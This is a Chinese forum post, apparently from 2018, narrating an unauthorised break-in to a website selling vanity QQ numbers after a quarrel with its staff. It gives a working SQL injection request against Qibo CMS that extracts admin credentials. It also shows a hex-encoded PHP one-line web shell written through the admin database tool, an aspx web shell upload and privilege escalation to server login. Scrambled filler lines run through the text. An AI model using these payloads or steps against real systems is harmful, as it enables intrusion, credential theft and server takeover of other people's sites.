|
9 F# `, N- [& {$ Z' ^( @- q( p3 ]
* A" k8 ?" R! B" A) i
1 X4 T/ {4 e' ^! ~: t( ^4 `2 d' o$ H: h" P6 M( a" n: B
一、踩点寻找漏洞
5 p2 d: \2 X) F+ K) Q$ b
闲来无事，在各个QQ靓号群求买5位QQ，寻问半天无果就在百度搜索5位QQ扫号找到“目标”www.qq.com，打开一看就一静态页面，哇好多靓号啊，90000000,300000,98888888，199999999，哇这么多靓号，然后我去联系客服，要求客服登录账户看看，此处略去100字，然后开始撕逼，然后就有了下文。。。。
I0 D; G) R3 @' e2 f
随手拿御剑扫了一下好多php页面，随手加一个member发现是齐博1.0的内容管理系统，然后就去百度找漏洞，什么后门漏洞一一做测试都无果，找来找去找到一个全版本的注入漏洞，详细利用方法如下：
/ n ]: z4 P- w- a/ g6 Q
先注册一个用户，记住注册时候的邮箱以uid号，
6 |- t; B/ Q# j+ u6 E
4 i; w% m: d& F7 g! i& |
( _7 V, o4 y# _
然后我们打开火狐浏览器简单构造一下，http://www.qq.com/member/userinfo.php?job=edit&step=2，发送数据包如下：
) h: l. h! ]5 x; C" b0 U' K
& U% k& [+ X( U. s! D7 Dtruename=xxxx%0000&Limitword[000]=&email=123@qq.com&provinceid=,address=(select user()) where uid=3%23
- c( f* b: S( v" Y! x这里的email和uid一定要和注册的账号所吻合，然后访问，提示成功以后查看用户资料如图：
" G7 x7 E( D& Z3 X; E4 I
; K$ S; e+ ]8 w O$ K3 V确实存在注入漏洞，那么我们来注入一下管理账号密码，修改数据包如：truename=xxxx%0000&Limitword[000]=&email=123@qq.com&provinceid=,address=(select concat(username,0x2e,password) from qb_members limit 1) where uid=3%23
7 {* @: k3 i8 q0 `* M
) q2 }4 V3 v0 d2 w' g0 e
8 F1 M( c( r! ]解密进后台如图：
4 y" n. z* ]# P0 t7 j
2 n1 m' b3 `) F7 D1 V0 |
[. i' s4 G3 H; G3 `* V
% ^# a" ?7 l9 m5 y0 q
二、后台getwebshell
5 Y. H2 U. a, n( v: s进了后台，以前齐博有个后台getwebshell漏洞，在系统功能- 单篇文章独立页面管理-增加页面添加个webshell，如图：
# i) d; B1 s; O5 P! y* E* t# O
! L. Z0 z& H% i" {" l6 b, ?
2 w. Y) ~, ]7 p5 J
- }, j+ |+ R$ _" M, x& I0 T
然后点确定，添加提示
( j3 P/ @, H: t' ~6 w8 x
: B' L% z/ R5 _3 O( r
A0 z, t/ V1 w7 a- v1 C8 [. T
7 n3 b9 }0 T3 \! M$ p由于是ii6.0的所以我们可以考虑一下解析漏洞，我们再来如图：
0 A* \# a" R: z) G, o4 h# ]
* n8 z+ V1 S1 L3 ~8 }
5 W1 r, N7 `( ~! J' D
改静态页面为help.php;.htm，然后我们发现访问help.php;.htm是404（写文章之前测试是可以成功写入的），欧巴，他么的我们再想想别的办法，抽了一支烟，我们继续，他这里不是有个服务器信息、数据库工具吗，之前我们测试当前用户名是root，那么我们完全可以考虑利用服务器信息、数据库工具来导入一句话，屌屌的妈妈的，我们来演示一下，先把一句话hex编码一下，<?php assert($_POST[sb]);?>编码以后是：0x3C3F7068702061737365727428245F504F53545B73625D293B3F3EDA网站目录是D:\wwwroot\qq.com\admin\，注意我们要把\改成/,否则不成功D:/wwwroot/qq.com/admin/,下面我们来导一下
E' u+ z5 \* `8 d1 {# D
如图：
% p2 }' H1 p* `' D
A1 i' b2 ?' o" e; \: J
! b, | ^, a5 X+ L: r
( ]) K1 H6 M0 x0 N4 m: {1 Q s之前已经测试过了用普通菜刀无法连接，测试用过狗菜刀也无法连接，用xiese打开
0 ^: d2 P f+ N1 P t
& j8 [$ j8 i- J: _! N! {, M
$ B5 K! B; I" `2 t' d
4 G5 j4 k4 a) M0 g三、提权进服务器
4 N5 \; @1 I; e: j( C3 j经测试xise下一句话只有在admin目录下有权限浏览，且不能执行命令，庆幸的是支持aspx，那么我们就上一个aspx大马，然后执行命令提示拒绝访问，哈哈在c:\windows\temp下上传cmd.exe然后执行systeminfo，发现打了400多补丁，如图：
$ h+ c! [! Z$ B( s3 o, o- _4 S; w
" O7 t2 |/ \3 c9 A
+ }, w t, K/ S: }9 \啧啧啧，这么多补丁，我都没去试试今年和2014年放出来的exp，而且是在咱们大00下载了一个变异pr，然后上传提权如图：
6 q. M- O1 ]- g! V1 H# ~
; F' N! h" `% \( Z' ^- ^, m
) _0 \9 c0 y2 P: S1 L3 A& {$ |然后登陆服务器如图：
$ B5 Q. s! _7 |
% j1 O6 y( N. G4 c" w
 $ h) G* f, a" G9 {! c' v4 b
/ T* \8 a" ~. F
b7 ?. ?$ {; N5 I: y& M/ @; b( C O
" ]- ~" I' N6 m% Z
难怪普通刀连接不上，原来是有狗。
' N7 B7 l$ f. F* ]& w- q0 D" m
# U' D: l! C! r4 ~0 [+ j8 T
. F2 u4 ?7 m* ?2 i3 e) ~. Y6 C( B
t4 |- r* j& Z' j1 L
! X' @4 ^0 W( \" l- M: n
8 a( q+ j9 ^3 n
% Q+ t6 F: x1 ~* l3 E* v
| 
发表于 2018-10-20 20:08:47
收藏
支持
反对